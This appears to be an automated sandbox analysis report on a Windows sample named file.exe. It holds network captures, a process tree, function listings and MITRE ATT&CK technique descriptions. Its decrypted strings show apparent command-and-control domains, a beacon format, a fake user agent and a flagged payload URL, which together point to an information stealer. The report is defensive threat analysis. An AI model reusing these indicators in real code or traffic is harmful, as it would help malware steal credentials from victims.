DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49978	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:28 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:28 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 07de4fd9-201e-0051-6eb1-377340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162428Z-16547b76f7ff9zf4hC1DFW2pfc00000003p0000000009nf4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:28 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49979	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:28 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:28 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 78bc729c-601e-0070-22ad-37a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162428Z-164f84587bfdfkt7hC1DFW4fas000000043g000000006pv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:28 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Target ID:	0
Start time:	11:23:04
Start date:	18/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb40000
File size:	1'839'616 bytes
MD5 hash:	AA1848A9A16AA15D7856A7026D49F19B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:23:35
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:23:36
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2000,i,12624885416953397818,8796835942053680158,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	11:23:39
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:23:39
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1968,i,5987406572315328770,4088698372966027366,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 05F72804 Relevance: 4.6, APIs: 3, Instructions: 109
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 05F77333
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 05F7735A
GetNativeSystemInfo.KERNEL32(?), ref: 05F773B1

Memory Dump Source

Source File: 00000000.00000002.2084849748.0000000005F6E000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: true

Associated: 00000000.00000002.2084775130.0000000005DE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084798758.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084824191.0000000005DE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000005DEA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006080000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006090000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006092000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 3be7c28c84194ae1623f299689d9fda9115c7da5562e6e1ca5718c27fdd8201b
Instruction ID: 3f12d729c2dd51c15439ebda87dd8173e8cade477b654d4225f48615b1dfda49
Opcode Fuzzy Hash: 3be7c28c84194ae1623f299689d9fda9115c7da5562e6e1ca5718c27fdd8201b
Instruction Fuzzy Hash: D14150B151924EDFDB14DF24C845BAF3BEAFF44300F10852AE98586950E7798CA4CF5A

Non-executed Functions

Function 05F7F66B Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084849748.0000000005F6E000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: true

Associated: 00000000.00000002.2084775130.0000000005DE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084798758.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084824191.0000000005DE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000005DEA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006080000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006090000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006092000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 432c978ec97b915233c50938e0753a8742b1da86a406a6ef01e6e568cb896b16
Instruction ID: 55ea45bd67109ef8513c21e3710d905c882c11758766d42c924c4d5bdd0c1a8f
Opcode Fuzzy Hash: 432c978ec97b915233c50938e0753a8742b1da86a406a6ef01e6e568cb896b16
Instruction Fuzzy Hash: 96418FB250C700AFE305AF29D88567EFBF9EF94320F26492DE6C5C3210D6755845CA67

Function 05F6E712 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084849748.0000000005F6E000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: true

Associated: 00000000.00000002.2084775130.0000000005DE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084798758.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084824191.0000000005DE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000005DEA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006080000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006090000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006092000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f763a393696b1b0d6178b17a4ab5f32523eb7d424d031947fad232774833ba
Instruction ID: b7484afac50b33ac63aa079d71dcbe9c1ce2b726d8f8aa21a1e5620f72d17cca
Opcode Fuzzy Hash: f5f763a393696b1b0d6178b17a4ab5f32523eb7d424d031947fad232774833ba
Instruction Fuzzy Hash: 334178B210C340AFE316AF29D885A6AFBF4FF95320F16092EE6C483241D3345454DBA7

Function 05F81526 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084849748.0000000005F6E000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: true

Associated: 00000000.00000002.2084775130.0000000005DE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084798758.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084824191.0000000005DE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000005DEA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006080000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006090000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006092000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bc35ee9c383174ec73de002e075184da40f42f2b2f92e982912f73d5d820c0b
Instruction ID: 19fe2293db99a742c8bcbf5b1df73e425ce583f43273a709bbf184a7a5e33720
Opcode Fuzzy Hash: 9bc35ee9c383174ec73de002e075184da40f42f2b2f92e982912f73d5d820c0b
Instruction Fuzzy Hash: DD3116B210C300AFE716AF05DC81ABEFBE9EF94320F15482EEAD482610D3395851CB97

Function 05F6E748 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084849748.0000000005F6E000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: true

Associated: 00000000.00000002.2084775130.0000000005DE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084798758.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084824191.0000000005DE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000005DEA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006080000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006090000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006092000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cfd04f4006cd93128f1983daa0a1c9c606906a7b15b20d766651029b14717a5
Instruction ID: 574c9219bcf6fe1fef8fa1cf2db5486d930e3c87c7d0d631f0428124bb8608c6
Opcode Fuzzy Hash: 7cfd04f4006cd93128f1983daa0a1c9c606906a7b15b20d766651029b14717a5
Instruction Fuzzy Hash: 4C3115B261C300AFE715BF29D88566EFBF5EF98320F16082DE6C483250D2355490DB9B

Function 05F79F17 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084849748.0000000005F6E000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: true

Associated: 00000000.00000002.2084775130.0000000005DE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084798758.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084824191.0000000005DE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000005DEA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006080000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006090000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006092000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: def955e271aab34bebc4dc49e42cd2fc6f93918cde09c029eeb8911744eeff2f
Instruction ID: 58edeb7545097e719e86c434f15f24bce09def7016d097a41da3575eebe4db5a
Opcode Fuzzy Hash: def955e271aab34bebc4dc49e42cd2fc6f93918cde09c029eeb8911744eeff2f
Instruction Fuzzy Hash: E8E04636008206AAD7009F54C84599FFBF8FF59321F24984AE888CB326C2358842CB2A

Function 05F7B0AA Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084849748.0000000005F6E000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: true

Associated: 00000000.00000002.2084775130.0000000005DE0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084798758.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084824191.0000000005DE6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000005DEA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006080000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006090000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2084849748.0000000006092000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f932fd1b931e00fc81ab6340a924b6ff491f62451bf7bc8a170dcba228b0bf8
Instruction ID: 0d8bf6fb611213b182e96909f7f0a67b35e270e0533dfb13338f2d6482cb9efc
Opcode Fuzzy Hash: 6f932fd1b931e00fc81ab6340a924b6ff491f62451bf7bc8a170dcba228b0bf8
Instruction Fuzzy Hash: 90D0973394C140E3D2222E040C10319BA91AF41010F01456EC407038C2A02889058206

Source: http://185.215.113.16/off/def.exe#v	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/def.exeHL	Avira URL Cloud: Label: phishing

Source: 00000000.00000002.2074814457.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.2074814457.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.2074814457.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.2074814457.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.2074814457.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.2074814457.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2074814457.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2074814457.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2074814457.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2074814457.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
